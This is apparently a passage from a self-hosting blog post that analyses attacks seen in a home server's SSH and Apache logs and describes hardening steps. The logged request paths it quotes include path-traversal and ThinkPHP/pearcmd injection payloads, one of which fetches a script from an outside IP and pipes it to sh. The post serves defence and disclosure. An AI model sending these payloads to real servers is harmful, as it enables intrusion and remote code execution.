      6 104.250.50.3
      2 104.250.50.2
     17 104.168.83.5
      3 103.96.130.6
     12 103.92.47.35
     15 103.75.61.44
      5 103.55.49.10
     17 103.5.133.86
     62 103.4.145.50
     21 103.37.80.92
     27 103.183.4.66
     14 103.171.84.7
     19 103.170.4.19
     15 103.133.36.6
     19 101.43.93.18
     13 101.43.6.172
     13 101.36.105.7
      1 101.33.66.20
     18 101.32.32.56
     29 101.126.3.67
     20 98.70.39.73
     33 96.67.59.65
     14 89.47.53.19
     23 86.88.61.99
     42 84.73.67.17
     17 84.2.226.70
     49 82.196.6.71
     20 8.219.59.71
      1 8.219.239.1
      6 81.70.6.206
     29 81.69.30.88
     14 79.104.0.82
     14 77.91.84.54
     17 77.83.8.130
     16 74.48.9.253
     47 71.70.165.8
     61 69.49.231.8
     18 64.225.54.6
     22 63.41.9.210
     12 62.72.45.74
      9 61.79.189.3
    105 61.178.65.2
     38 61.171.86.2
     34 59.3.76.218
     33 58.75.221.5
     17 58.56.20.70
     16 5.78.106.17
     17 54.38.55.13
     27 5.42.82.235
     19 52.244.67.2
     13 5.182.26.91
     12 5.157.10.83
     68 49.51.36.72
     34 49.36.41.21
     14 49.0.87.123
     15 45.8.229.55
     10 45.5.159.36
     11 45.5.136.22
     14 43.156.8.66
     17 43.156.7.94
     60 43.156.6.73
     16 43.156.6.42
     19 43.156.54.8
     19 43.156.4.31
     18 43.156.3.27
     11 43.156.1.71
     59 43.153.63.2
     17 43.153.30.2
      9 43.143.1.22
     11 43.134.0.65
     43 43.131.6.85
     13 36.40.69.55
     16 36.137.0.81
      5 34.93.7.217
     32 31.220.1.41
      4 27.71.25.96
     18 23.94.92.24
     39 23.26.98.51
      4 206.81.5.26
    106 202.95.6.34
     73 200.90.0.10
     16 197.5.145.8
     48 196.0.120.6
     45 195.158.5.3
     52 191.252.5.7
     13 190.10.8.95
     12 189.7.17.61
     17 185.74.4.20
     14 185.74.4.17
     17 181.49.50.6
     30 175.24.33.7
      4 174.138.6.9
     87 155.4.68.48
     21 154.68.39.6
     21 152.67.97.9
     75 150.185.5.5
     13 146.56.38.5
      6 14.23.44.10
     12 14.18.80.12
     16 14.139.1.72
     12 139.59.64.4
     17 138.99.6.74
     10 13.70.39.68
     10 1.212.65.51
     87 121.15.4.92
     18 120.71.9.52
      4 120.48.9.61
     95 117.1.28.51
      9 1.15.238.46
     31 1.15.122.64
     14 1.13.79.144
      1 1.12.49.106
     15 1.12.255.45
    102 1.116.57.91
      2 106.13.4.11
     37 103.83.5.39
     21 103.28.52.6
     13 102.53.9.67
      6 101.34.44.3
     10 95.85.56.9
     15 8.219.8.54
      8 8.208.23.2
     11 79.8.11.76
     70 61.155.9.4
     33 5.42.95.17
     18 5.42.87.71
     71 5.42.84.61
     58 47.93.5.91
     14 45.64.3.61
     13 43.163.1.4
     20 43.157.9.8
     17 43.156.7.9
    103 34.81.69.1
     33 2.229.2.11
      6 2.102.98.3
     34 1.9.78.242
     27 1.55.33.86
     32 12.21.5.10
      2 1.116.49.3
     32 5.42.78.5
     19 189.4.1.6

At the Webserver

Additionally I have an Apache web server running. Also there I’m seeing attempts to gain access to the server by hidden admin pages or injection attacks.

docker logs web_app_1 | grep "GET "| awk '{ print $7 }' | sort -u | uniq

/6Jsi
/99vt
/99vu
/aaaaaaaaaaaaaaaaaaaaaaaaaqr
/ab2g
/ab2h
/actuator/gateway/routes
/__Additional
/admin.aspx
/admin.cfm
Expand for more
/admin.cgi
/admin.html
/admin.jhtml
/admin.jsa
/admin.jsp
/admin.php
/admin.pl
/admin.shtml
/ajaxpro/core.ashx
/api/session/properties
/api/sonicos/auth
/api/sonicos/tfa
/api/v1
/apps/files_rightclick/js/files.js?v=25c82ac8-0
/apps/files_rightclick/js/script.js?v=25c82ac8-0
/apps/theming/favicon?v=b6589fc6
/apps/theming/icon?v=b6589fc6
/apps/theming/js/theming.js?v=25c82ac8-0
/auth1.html
/auth.html
/axis2/
/axis2-admin/
/axis2/axis2-admin/
/base.cfm
/base.html
/base.inc
/base.jhtml
/base.pl
/cgi-bin/authLogin.cgi
/cgi-bin/config.exp
/cgi-bin/login
/cgi-bin/luci
/cgi-bin/luci/admin
/config.json
/confluence/rest/applinks/1.0/manifest
/core/img/favicon.ico
/core/img/favicon-touch.png
/core/img/manifest.json
/core/js/backgroundjobs.js?v=25c82ac8-0
/core/js/oc.js?v=25c82ac8
/core/l10n/zh_CN.js?v=25c82ac8-0
/+CSCOE+/logon.html
/CSS/Miniweb.css
/custom_apps/collectives/js/collectives-files.js?v=25c82ac8-0
/dana-na/auth/url_default/welcome.cgi
/default.asp
/default.aspx
/default.cfm
/default.cgi
/default.html
/default.jsa
/default.php
/default.pl
/dist/core-common.js?v=25c82ac8-0
/dist/core-files_client.js?v=25c82ac8-0
/dist/core-files_fileinfo.js?v=25c82ac8-0
/dist/core-login.js?v=25c82ac8-0
/dist/core-main.js?v=25c82ac8-0
/dist/files_sharing-main.js?v=25c82ac8-0
/dns-query?name=dnsscan.shadowserver.org&type=A
/docs/cplugError.html/
/.env
/evox/about
/FanG
/favicon/favicon.ico
/favicon.ico
/.ghauri
/ghauri
/.git/config
/.git/HEAD
/global-protect/login.esp
/HNAP1
/home.asp
/home.aspx
/home.cfm
/home.cgi
/home.html
/home.shtml
/index.asp
/index.aspx
/index.cfm
/index.cgi
/index.html
/index.jhtml
/index.jsp
/index.php/avatar/<redacted: username 1>/45
/index.php/avatar/<redacted: username 2>/45?
/index.php/avatar/<redacted: username 2>/45
/index.php/avatar/<redacted: username 2>/45?
/index.php?lang=../../../../../../../../tmp/index1
/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php
/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/var/tmp/index1.php
/index.php?lang=../../../../../../../../var/tmp/index1
/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=curl%20http%3A%2F%2F193.222.96.163%2Foy.sh%20%7C%20sh%20%7C%7C%20wget%20-O-%20http%3A%2F%2F193.222.96.163%2Foy.sh%20%7C%20sh
/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello
/index.pl
/index.shtml
/indice.asp
/indice.cgi
/indice.php
/info.php
/inicio.asp
/inicio.aspx
/inicio.cfm
/inicio.cgi
/inicio.html
/inicio.jhtml
/inicio.jsa
/inicio.jsp
/inicio.pl
/inicio.shtml
/IUHv
/js/core/merged-template-prepend.js?v=25c82ac8-0
/js/NewWindow_2_all.js
/localstart.asp
/localstart.cgi
/localstart.html
/localstart.jsp
/localstart.pl
/login
//login_sid.lua
/lQh7
/main.aspx
/main.cfm
/main.cgi
/main.html
/main.jsa
/main.jsp
/main.php
/main.pl
/manager/html
/menu.asp
/menu.aspx
/menu.cfm
/menu.cgi
/menu.jsa
/menu.pl
/menu.shtml
/nmaplowercheck1705366811
/nmaplowercheck1708010920
/nmaplowercheck1708926927
/nmaplowercheck1709036299
/nmaplowercheck1709780754
/nmaplowercheck1710329610
/nmaplowercheck1710989122
/nmaplowercheck1711144394
/OA_HTML/FrmReportData
/ocs/v2.php/cloud/capabilities
/ocs/v2.php/cloud/capabilities?
/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
/pools
/pools/default/buckets
/Portal0000.htm
/Portal/Portal.mwsl
/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello
/RDWeb/Pages/en-US/login.aspx
/readme.txt
/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
/remote/login
/remote/login?lang=en
/remote/login/remote/login
/Res/login.html
/rest/applinks/1.0/manifest
/robots.txt
/server-status
/SetupWizard.aspx/vPhXAqofQJ
/showLogin.cc
/sitecore/shell/sitecore.version.xml
/sitemap.xml
/.sqlmap
/sqlmap
/sslvpn/js/login.js
/sslvpnLogin.html
/sslvpn_logon.shtml
/start.asp
/start.aspx
/start.cfm
/start.html
/start.jsa
/start.jsp
/start.php
/STdQ
/telescope/requests
/Tin1
/version
/vpn/index.html
/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y
/.well-known/security.txt
/?XDEBUG_SESSION_START=phpstorm
/yms/fileserver/customize/default/web_bg.jpg
/yms/fileserver/customize/default/web_favicon.ico
/zabbix/favicon.ico
/zy/api/i.js
/zy/api/k.js

Attempted ThinkPHP Exploitation

An interesting one is

/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=curl%20http%3A%2F%2F193.222.96.163%2Foy.sh%20%7C%20sh%20%7C%7C%20wget%20-O-%20http%3A%2F%2F193.222.96.163%2Foy.sh%20%7C%20sh

it translates to, either with curl or wget, downloading a script

http://193.222.96.163/oy.sh

and directly running that with sh.

It looks like an attempted exploitation of this bug [4] in the ThinkPHP framework.

NextCloud Username Leakage

Also concering is this section:

/index.php/avatar/<redacted: username 1>/45
/index.php/avatar/<redacted: username 2>/45?
/index.php/avatar/<redacted: username 2>/45
/index.php/avatar/<redacted: username 2>/45?

If these access attempts didn’t come from our own clients roaming aborad, in public Wifi, friends Wifi or the cellular service - I’m not sure about that anymore - then a bot figured out the usernames on the NextCloud instance.

As usernames are often the same across services on the same server that would make brute-forcing the username/password combination on the SSH server a lot easier by using the known usernames that were previously exfiltrated from Nextcloud.

Though I’m not sure in my case it seems that this behaviour of NextCloud is known. In an issue [5] from a year ago (April, 2022) a user mentions being able to brute-force NextCloud usernames and accessing a user information page.

such as http://<server-ip>/index.php/u/test

There is a configuration option to disable this.

https://docs.nextcloud.com/server/latest/admin_manual/configuration_user/profile_configuration.html

As web servers don’t consider GET-requests to be failed login attempts, an attacker could much more easily, quickly and without risking being blocked all too easily, bruteforce the username from Nextcloud and then use that username in a many times more effective bruteforce attack using the known usernames against the SSH server.

Monitoring the Internet connection

Some time ago I’ve installed this extension [6] to the Wireshark packet analyzer that lets me monitor incoming and outgoing traffic directly at my internet router.

Assuming the router hasn’t been infiltrated I can be sure to detect traffic from my systems even if they were infiltrated with rootkits.

Mitigation

Next we need to make sure this stops.

Take the Server offline

After registering the attacks I’ve closed the port on my router and shut down the ssh server

sudo systemctl stop ssh
sudo systemctl disable ssh

Harden Configuration

Luckily in best principes I’ve already set up the SSH-Server to deny all password logins, accept only logins with certificate, I’ve disabled root login and set max retries to a low number.

Had I allowed user login and had the user/password combination been in a password list, the attacker would have likely gained access.

cat /etc/ssh/sshd_config

PermitRootLogin no
MaxAuthTries 3
LoginGraceTime 20
PermitEmptyPasswords no
PasswordAuthentication no
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no
X11Forwarding no
AllowAgentForwarding no
AllowTcpForwarding no
PermitTunnel no
DebianBanner no

Keep Software up to date

An additional less likely attack vector are old vulnerable versions of the SSH-Server that contain exploitable security flaws.

So far 8.4p1 seems to hold up.

OpenSSH_8.4p1 Debian-5+deb11u1, OpenSSL 1.1.1w  11 Sep 2023

Note that certificate-based logins can also be dangerous if an attacker gains access to one vulnerable system. The “SSH-Snake” [3] will hop from system to system by using the available SSH certificates found on compromised systems. It leaves hardly any traces by running only in memory, under the assumption that servers don’t get rebootet often. It doesn’t write to disk and automatically wipes logs.

Advanced Protection

These coordinated automated attacks by botnets are very well known and there are papers about it [1]. There are a number of well-known protective measures we can take to harden our servers.

Fail2Ban

Fail2Ban is a Python tool that scans access logs and automatically adds all IP-Adresses that have multiple failed login attempts to the hosts.deny list or blocks them with iptables.

This is simple to implement, very common and effective protection.

knockd

The knockd opens multipe ports without any service behind them. When connecting to the open ports in a specified order, the “knocking sequence”, it will open the actual service it protects to only that one single IP-Adress that has knocked in the correct serquence.

This is highly effective, but means that legitimite users need to run a knock sequence before connecting.

In my view a well configured SSH-Server is probably just as safe - whether you’re brute-forcing a long password or a knocking sequence shouldn’t make much difference. Though is an additional element of “security through obscurity”. A knock daemon can add protection and it’s defintely advised for less protected server daemons - say you absolutely need to run that unencrypted FTP daemon -, but then you should probably be tunneling the connection via SSH or VPN in the first place.

honeyd

Honeyd is a daemon that makes your server appear like hundreds of servers. Assuming legitimit users only connect to known real servers they should never come in contact with a fake server. So as soon as an attacker scans for services and contacts fake servers, Honeyd will notice and the attacker can be detected.

Honeypots

Honeypots are servers that masquerade as real servers, but either slow down the attacker or drop them into sandboxes and monitor their actions. This is crucial for malware analysis. Examples are Cowrie [2], Kippo [3] and so on.

Of course you can also set up a real server with weakend security on an isolated subnet as a dedicated honeybot.

Progress

Conclusion

By setting up a strong SSH configuration, fail2ban, taking the server offline and checking logfiles and monitoring activity at my router I can be sure no intruder was able to access my network.

But the shear amount of networking scanning and brute-forcing activity as sparked my interest. Next time I’ll set up a honeypot.


1] https://netsec.ethz.ch/publications/papers/passwords15-abdou.pdf
2] https://github.com/cowrie/cowrie
3] https://github.com/desaster/kippo
4] https://nvd.nist.gov/vuln/detail/CVE-2022-47945
5] https://help.nextcloud.com/t/user-information-leakage-in-23-0-3/137304/2